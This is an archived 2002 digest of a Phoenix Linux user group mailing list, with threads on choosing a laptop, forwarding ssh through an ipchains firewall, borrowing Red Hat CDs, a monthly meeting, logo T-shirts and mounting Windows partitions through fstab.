Recommendations? In-Reply-To: <200206111223.47899.voltage_spike@fastmail.fm> Message-ID: <004701c211d3$021c5ca0$0a64a8c0@internal.nutsac.org> Depends what you want to spend really. I bought one of the satellite 5005-507's with the gf4 video that rocks. You can't beat 1600x1200 on a laptop with a burner for friendly backups on the fly or lan gaming on the clock getting decent framerates with 4xAA turned on. I've heard of bios issues with lockups and the proc running at a lower frequency, but honestly I've never had a bit of problem with it. ACPI gets a bit flakey in XP as the display won't shut off (only the screensaver will kick in), but im sure that's more M$'s fault than Toshiba's. Not sure how the newer dell's are, but my company uses dell exclusively, and just about every laptop ive seen floating around is broken, usually with a keyboard. The RMA fix? Replace the motherboard in them systematically. My partner's won't post before shutting itself down currently... I've got an inspiron 8000 that locks constantly on me, so much I use my satellite more for work. I reboot the Satellite every few weeks, even in and out of sleep mode daily, never hard shutdown. Only problem with the satellite is no serial port which makes configuring routers difficult, but I got a usb serial adapter for 30 bucks that works flawlessly for that. My satellite also cost about 1200 less than a comprably equipped dell inspiron. my two cents... -mbutash -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Logan Kennelly Sent: Tuesday, June 11, 2002 12:24 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: New Notebook Recommendations? I am looking into buying a new notebook computer for use as a general-purpose machine. One of my primary uses on the old laptop was for testing new *nix systems (FreeBSD, various distributions of Linux, etc.). I am considering buying from PC Club (www.pcclub.com), but if anybody else has any suggestions, I am willing to listen. The question I am more interested in, however, is whether I should go with an Intel or an AMD mobile processor. Intel seems to have some very nice features for their mobile line, but I have been unable to locate some good comparisons of the two. If somebody on the list has researched this item, I would love to hear from you. Thank you ahead of time. PS: I would really love an Apple system, but then I couldn't use it as test bed. Still, if someone can sell me on Mac OS X . . . PPS: I am sorry that I butchered the English language in the above message. I am hungry, and my brain is not working properly. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 05:39:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Tue, 11 Jun 2002 22:39:08 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206120313.XAA09992@hostinworld6.com> References: <200206112355.TAA07496@hostinworld6.com> <200206111804.32104.voltage_spike@fastmail.fm> <200206120313.XAA09992@hostinworld6.com> Message-ID: <200206112239.13132.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 11 June 2002 20:12, Bryce "C." wrote: > I meant OSX and I think you knew that. Maybe I did and maybe I didn't. All I know is that I can pick up a Mac OS 10.1 upgrade disk if I want the system. I am sure that it would have problems with the VIA chipset, though. ;-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9Bt5/pNoctRtUIRQRAjJnAJwI/N7EYz1IfBxOzgQ6GsTCmirI4ACdFliF bnHPUu9YDMJeBsl2RFBU3Xc= =fzAI -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 08:06:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Wed, 12 Jun 2002 01:06:51 -0700 Subject: New Notebook Recommendations? In-Reply-To: <004701c211d3$021c5ca0$0a64a8c0@internal.nutsac.org> References: <004701c211d3$021c5ca0$0a64a8c0@internal.nutsac.org> Message-ID: <200206120106.55939.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I would have to agree with that. The last company I worked for used exclusively Toshiba laptops, and switched to Dells. They were absolutely horrible. But the Toshiba's were tried and true work horses. I personally own two IBM Thinkpads and wouldn't ever own anything else. Though KDS has some very nice laptops out now. My favorite are the Thinkpads. I use a 600E, Pii 400 with 288mb ram and a 18gb hdd and everything in it works with linux great. I use only home brews of slackware. And none of my machines have ever seen windows, so I can't tell you how it behaves in that respect. The only part of my 600E that didn't work was the modem, (mwave) which now has kernel support! Though I use a Xircom 10/100/v.90 cardbus card, so I haven't tried the mwave anyway. It uses the neomagic driver, or the frame buffer, both work great. I have seen them around for sale in the $300-700 range... I absolutely love it! nathan Am Dienstag 11 Juni 2002 10:35 nachmittags schrieb Mike Butash: > Depends what you want to spend really. I bought one of the satellite > 5005-507's with the gf4 video that rocks. You can't beat 1600x1200 on a > laptop with a burner for friendly backups on the fly or lan gaming on the > clock getting decent framerates with 4xAA turned on. I've heard of bios > issues with lockups and the proc running at a lower frequency, but honestly > I've never had a bit of problem with it. ACPI gets a bit flakey in XP as > the display won't shut off (only the screensaver will kick in), but im sure > that's more M$'s fault than Toshiba's. > > Not sure how the newer dell's are, but my company uses dell exclusively, > and just about every laptop ive seen floating around is broken, usually > with a keyboard. The RMA fix? Replace the motherboard in them > systematically. My partner's won't post before shutting itself down > currently... I've got an inspiron 8000 that locks constantly on me, so > much I use my satellite more for work. I reboot the Satellite every few > weeks, even in and out of sleep mode daily, never hard shutdown. Only > problem with the satellite is no serial port which makes configuring > routers difficult, but I got a usb serial adapter for 30 bucks that works > flawlessly for that. My satellite also cost about 1200 less than a > comprably equipped dell inspiron. > > my two cents... > > -mbutash > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Logan > Kennelly > Sent: Tuesday, June 11, 2002 12:24 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: New Notebook Recommendations? > > > I am looking into buying a new notebook computer for use as a > general-purpose machine. One of my primary uses on the old laptop was > for testing new *nix systems (FreeBSD, various distributions of Linux, > etc.). > > I am considering buying from PC Club (www.pcclub.com), but if anybody > else has any suggestions, I am willing to listen. > > The question I am more interested in, however, is whether I should go > with an Intel or an AMD mobile processor. Intel seems to have some very > nice features for their mobile line, but I have been unable to locate > some good comparisons of the two. If somebody on the list has > researched this item, I would love to hear from you. > > Thank you ahead of time. > > PS: I would really love an Apple system, but then I couldn't use it as > test bed. Still, if someone can sell me on Mac OS X . . . > > PPS: I am sorry that I butchered the English language in the above message. > I am hungry, and my brain is not working properly. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BwEfQ7yNnsYcupwRAuIpAJ4ivKW8Ym79toUFEkKtxrjugjbrxgCdHgMK MtWfxqJWDrvlCYJLCZBDNjk= =I3d1 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:07:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Steve Holmes) Date: Tue, 11 Jun 2002 07:07:39 -0700 Subject: SSH and Firewalls? Message-ID: <20020611070735.A1557@lnx3.holmesgrown.com> Question about running ssh over a masqueraded network: I have a linux box that serves as the "point" machine for my network on which I forward ports with ipchains (2.2 kernel) to to inside amachines which each run sshd. My outside machine currently is not running ssh yet. If the default policy on my input chain is ACCEPT, I can successfully forward non standard ports through to specific machines an establish ssh sessions on them with no problems. If I default the input chain to DENY, as is done in endoshield script, The connections time out and I cannot connect. In both cases, I forward the same ports. Bottom line, If I use endoshield and add on the ipfwadm commands to forward the ports mentioned above, connections time out; If I do not use endoshield but use a simpler script that basically leaves the input chain wide open, I can establish the ssh sessions - no problem. Any ideas out there, dispite this confusing message? From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 11:46:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 12 Jun 2002 07:46:20 -0400 (EDT) Subject: InstallFest Questionnaire? Message-ID: Has there been any thought about a customer feedback questionnaire for the InstallFest? ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 13:27:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 12 Jun 2002 06:27:50 -0700 Subject: SSH and Firewalls? In-Reply-To: <20020611070735.A1557@lnx3.holmesgrown.com> References: <20020611070735.A1557@lnx3.holmesgrown.com> Message-ID: <1023888470.9454.2.camel@barney.azapple.com> On Tue, 2002-06-11 at 07:07, Steve Holmes wrote: > Question about running ssh over a masqueraded network: > > I have a linux box that serves as the "point" machine for my network > on which I forward ports with ipchains (2.2 kernel) to to inside > amachines which each run sshd. My outside machine currently is not > running ssh yet. If the default policy on my input chain is ACCEPT, I > can successfully forward non standard ports through to specific > machines an establish ssh sessions on them with no problems. If I > default the input chain to DENY, as is done in endoshield script, The > connections time out and I cannot connect. In both cases, I forward > the same ports. > > Bottom line, If I use endoshield and add on the ipfwadm commands to > forward the ports mentioned above, connections time out; If I do not > use endoshield but use a simpler script that basically leaves the > input chain wide open, I can establish the ssh sessions - no problem. ---- been a while since I used ipchains and not seeing your script, what I think is happening is that the input chains are considered before your forward chains and thus if you policy is to DENY, then the packets are denied before they ever hit the 'forward' chains. Why not specifically allow the specific ports/ip addresses on input rules and let the forward handle where they are going? The same considerations would probably have to be given to 'output' rules. Lastly and perhaps most importantly - all the logging rule so you can inspect your logs to see which rule is specifically blocking your attempts. Craig From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:54:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Tue, 11 Jun 2002 13:54:05 -0700 Subject: This is going to sound really stupid but Message-ID: <200206111354.05153.dan_lund@hotmail.com> I have a question.. How do I unsubscribe, so that I can subscribe again? I'm not in the database (my email address isn't) of people who are subscribed, but I get the list (explain that one?) and I need to get off of this digest-style mailing preference! help :) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:08:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 16:08:28 -0400 Subject: test Message-ID: <20020611200830.DCMI29627.lakemtao01.cox.net@smtp.east.cox.net> test From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:23:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Tue, 11 Jun 2002 16:23:32 -0400 Subject: Redhat 7.3 CDs Message-ID: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! Thanks! Mark Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 14:24:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 07:24:10 -0700 Subject: test Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B47A@mail.int.fh.org> You might want to change your font! -----Original Message----- From: phillipsm@cox.net [mailto:phillipsm@cox.net] Sent: Tuesday, June 11, 2002 1:08 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: test This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 14:28:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 07:28:07 -0700 Subject: This is going to sound really stupid but Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B47B@mail.int.fh.org> Follow the directions on he link at the bottom of each message. There is an unsubscribe spot on that page. You may be one of the handful subscribers who have chosen to have their info hidden. -----Original Message----- From: Dan Lund [mailto:dan_lund@hotmail.com] Sent: Tuesday, June 11, 2002 1:54 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: This is going to sound really stupid but I have a question.. How do I unsubscribe, so that I can subscribe again? I'm not in the database (my email address isn't) of people who are subscribed, but I get the list (explain that one?) and I need to get off of this digest-style mailing preference! help :) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 15:42:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (jtannenba) Date: Wed, 12 Jun 2002 08:42:18 -0700 (PDT) Subject: Fwd: SSH and Firewalls? Message-ID: <20020612154218.54283.qmail@web13908.mail.yahoo.com> I think you meant this to go to the plug list... Joe --- Steve Holmes wrote: > From: Steve Holmes > To: speakup@braille.uwo.ca > Subject: SSH and Firewalls? > Date: Tue, 11 Jun 2002 07:07:39 -0700 > > Question about running ssh over a masqueraded > network: > > I have a linux box that serves as the "point" > machine for my network > on which I forward ports with ipchains (2.2 kernel) > to to inside > amachines which each run sshd. My outside machine > currently is not > running ssh yet. If the default policy on my input > chain is ACCEPT, I > can successfully forward non standard ports through > to specific > machines an establish ssh sessions on them with no > problems. If I > default the input chain to DENY, as is done in > endoshield script, The > connections time out and I cannot connect. In both > cases, I forward > the same ports. > > Bottom line, If I use endoshield and add on the > ipfwadm commands to > forward the ports mentioned above, connections time > out; If I do not > use endoshield but use a simpler script that > basically leaves the > input chain wide open, I can establish the ssh > sessions - no problem. > > Any ideas out there, dispite this confusing message? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 16:28:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 12 Jun 2002 09:28:58 -0700 (PDT) Subject: Redhat 7.3 CDs In-Reply-To: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> Message-ID: Stop by New Vision and I'll give you a RH 7.3 CD set. 1920 E Broadway Rd Tempe, AZ On Tue, 11 Jun 2002, Mark Phillips wrote: > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. > > I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. > > I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! > > Thanks! > > Mark > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 15:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Richardson) Date: Wed, 12 Jun 2002 08:48:54 -0700 Subject: New Notebook Recommendations? References: <200206111223.47899.voltage_spike@fastmail.fm> Message-ID: <3D076D66.4060500@milagrosoft.com> Logan Kennelly wrote: > I am looking into buying a new notebook computer for use as a > general-purpose machine. One of my primary uses on the old laptop was > for testing new *nix systems (FreeBSD, various distributions of Linux, > etc.). > > I am considering buying from PC Club (www.pcclub.com), but if anybody > else has any suggestions, I am willing to listen. Considering looking at this site but pardon the flashing gif-somebody trying to make money I guess. http://www.linux-laptop.net/ I saw a nice looking HP book at price club for 1500 but didn't write down the model. Hope this helps, Eric From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 16:58:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 09:58:39 -0700 Subject: Plug logo Message-ID: <200206120958.39618.zen2now@qwest.net> good morning plug, hope this request doesnt offend anyone, but i was wondering is there any way i could get my hands on a Plug Logo T-Shirt? I love the logo, "A Penguin in the Desert". slr From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:19:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 12 Jun 2002 10:19:57 -0700 Subject: Thursday Meeting? Message-ID: <200206121019.57327.voltage_spike@fastmail.fm> Being new to the PLUG, I don't know how things work. The website claims that there is no planned topic of discussion. Will there still be a meeting? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:26:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 12 Jun 2002 10:26:06 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <02061210260612.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Great idea. All we need to do is get someone to get the logo ready for screening, find someone to make the tshirts, and someone to cover the cost of having them made. OTOH, if you have the connections, by all means investigate it and lets see if we can get it done ;) On Wednesday 12 June 2002 09:58, you wrote: > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY kBumg9lr/hCgTiM+jPaCj8w/ =9O71 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:38:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 13:38:00 -0400 Subject: Thursday Meeting? Message-ID: I am sorry that the web site is out of date. YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. Alan On Wed, 12 Jun 2002 10:19:57 -0700 Logan Kennelly wrote: Being new to the PLUG, I don't know how things work. The website claims that there is no planned topic of discussion. Will there still be a meeting? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:40:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 10:40:05 -0700 Subject: Redhat 7.3 CDs Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B483@mail.int.fh.org> If you are in either the NW valley or near the Scottsdale airpark I can make a set for you. -----Original Message----- From: Matt Alexander [mailto:m@netpro.to] Sent: Wednesday, June 12, 2002 9:29 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Redhat 7.3 CDs Stop by New Vision and I'll give you a RH 7.3 CD set. 1920 E Broadway Rd Tempe, AZ On Tue, 11 Jun 2002, Mark Phillips wrote: > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. > > I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. > > I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! > > Thanks! > > Mark > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:46:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt) Date: Wed, 12 Jun 2002 10:46:13 -0700 Subject: How to access Windows files from Linux References: <200206121825.g5CIP3227739@PlugList.MyButt.Net> Message-ID: <000501c21239$0bd48c70$6401a8c0@mattxp> I just recently installed Linux and XP on the same HD - partitioned half and half on my 80 gig. In the past with older versions of Windows I've seen an icon appear for the C: drive on my (KDE) desktop, but not this time. How do I view the Windows files? I'm using SuSE Linux 8.0. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:54:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 12 Jun 2002 10:54:58 -0700 Subject: Thursday Meeting? In-Reply-To: <200206121019.57327.voltage_spike@fastmail.fm> References: <200206121019.57327.voltage_spike@fastmail.fm> Message-ID: <02061210545813.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Intel is coming in to do a presentation at the meeting this month. On Wednesday 12 June 2002 10:19, you wrote: > Being new to the PLUG, I don't know how things work. The website claims > that there is no planned topic of discussion. Will there still be a > meeting? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQeK8ysk3ywszI1FEQIM4QCg+5PUdaj9VB0Toc1Q57l53L0JvIMAoOYu 5nksiCWk8oFq0BSo5CX/PKcn =kmM3 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:58:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 12 Jun 2002 12:58:33 -0500 (CDT) Subject: Plug logo In-Reply-To: <02061210260612.08309@nova.wedge.org> Message-ID: The other option is CafePress.com. The product probably wont look as nice and you wont raise as much money, but there is no out of pocket cost. The way it works is you upload your images and design your product online at no cost. Then it creates a virtual store. Then you can buy products and a portion of each sale comes back to you. http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods is an example.... I would whip up some for plug, but unfortunately the image on the web site is... a. A .gif file (bad bad bad, i'm giving you a url to a .png version please fix the site to use the .png version) b. The .gif is so trashed it wont even open in gimp. (or gimp is that broken) -Derek Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) Why .gif is bad ( http://burnallgifs.org/ ) On Wed, 12 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Great idea. All we need to do is get someone to get the logo ready for > screening, find someone to make the tshirts, and someone to cover the cost of > having them made. > > OTOH, if you have the connections, by all means investigate it and lets see > if we can get it done ;) > > On Wednesday 12 June 2002 09:58, you wrote: > > good morning plug, > > > > hope this request doesnt offend anyone, but i > > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > > I love the logo, "A Penguin in the Desert". > > > > slr > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > kBumg9lr/hCgTiM+jPaCj8w/ > =9O71 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:02:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Wed, 12 Jun 2002 11:02:29 -0700 Subject: Plug logo References: <200206120958.39618.zen2now@qwest.net> <02061210260612.08309@nova.wedge.org> Message-ID: <3D078CB5.AB146643@leml.asu.edu> Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Great idea. All we need to do is get someone to get the logo ready for > screening, find someone to make the tshirts, and someone to cover the cost of > having them made. to bad my silkscreen press is in NM and I am in the middle of finishing up my thesis... I used to print the legends on PC boards in a fab shop. Later I also printed T-shirts, posters, and tile. EBo -- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:18:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 11:18:01 -0700 Subject: Plug logo Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B489@mail.int.fh.org> If someone can get them made, we could use the "For Sale" site Kimi has on unitywave.com to sell/distribute them. -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Wednesday, June 12, 2002 10:59 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug logo The other option is CafePress.com. The product probably wont look as nice and you wont raise as much money, but there is no out of pocket cost. The way it works is you upload your images and design your product online at no cost. Then it creates a virtual store. Then you can buy products and a portion of each sale comes back to you. http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods is an example.... I would whip up some for plug, but unfortunately the image on the web site is... a. A .gif file (bad bad bad, i'm giving you a url to a .png version please fix the site to use the .png version) b. The .gif is so trashed it wont even open in gimp. (or gimp is that broken) -Derek Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) Why .gif is bad ( http://burnallgifs.org/ ) On Wed, 12 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Great idea. All we need to do is get someone to get the logo ready for > screening, find someone to make the tshirts, and someone to cover the cost of > having them made. > > OTOH, if you have the connections, by all means investigate it and lets see > if we can get it done ;) > > On Wednesday 12 June 2002 09:58, you wrote: > > good morning plug, > > > > hope this request doesnt offend anyone, but i > > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > > I love the logo, "A Penguin in the Desert". > > > > slr > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > kBumg9lr/hCgTiM+jPaCj8w/ > =9O71 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:20:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 12 Jun 2002 11:20:40 -0700 Subject: How to access Windows files from Linux In-Reply-To: <000501c21239$0bd48c70$6401a8c0@mattxp> References: <200206121825.g5CIP3227739@PlugList.MyButt.Net> <000501c21239$0bd48c70$6401a8c0@mattxp> Message-ID: <200206121120.40136.voltage_spike@fastmail.fm> On Wednesday 12 June 2002 10:46 am, Matt wrote: > I just recently installed Linux and XP on the same HD - partitioned half > and half on my 80 gig. In the past with older versions of Windows I've > seen an icon appear for the C: drive on my (KDE) desktop, but not this > time. How do I view the Windows files? I'm using SuSE Linux 8.0. What does your /etc/fstab file look like? Is the drive formatted with NTFS or FAT32? It will work with either case, but the former is read-only. The line you are looking for in fstab will appear similar to: /dev/hda1 /mnt/windows vfat iocharset=iso8859-1,umask=0,codepage=850 0 0 or /dev/hda1 /mnt/windows ntfs uid=,gid=,ro 0 0 Depending on which file system you have. Also of note is that the directory /mnt/windows must exist. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- 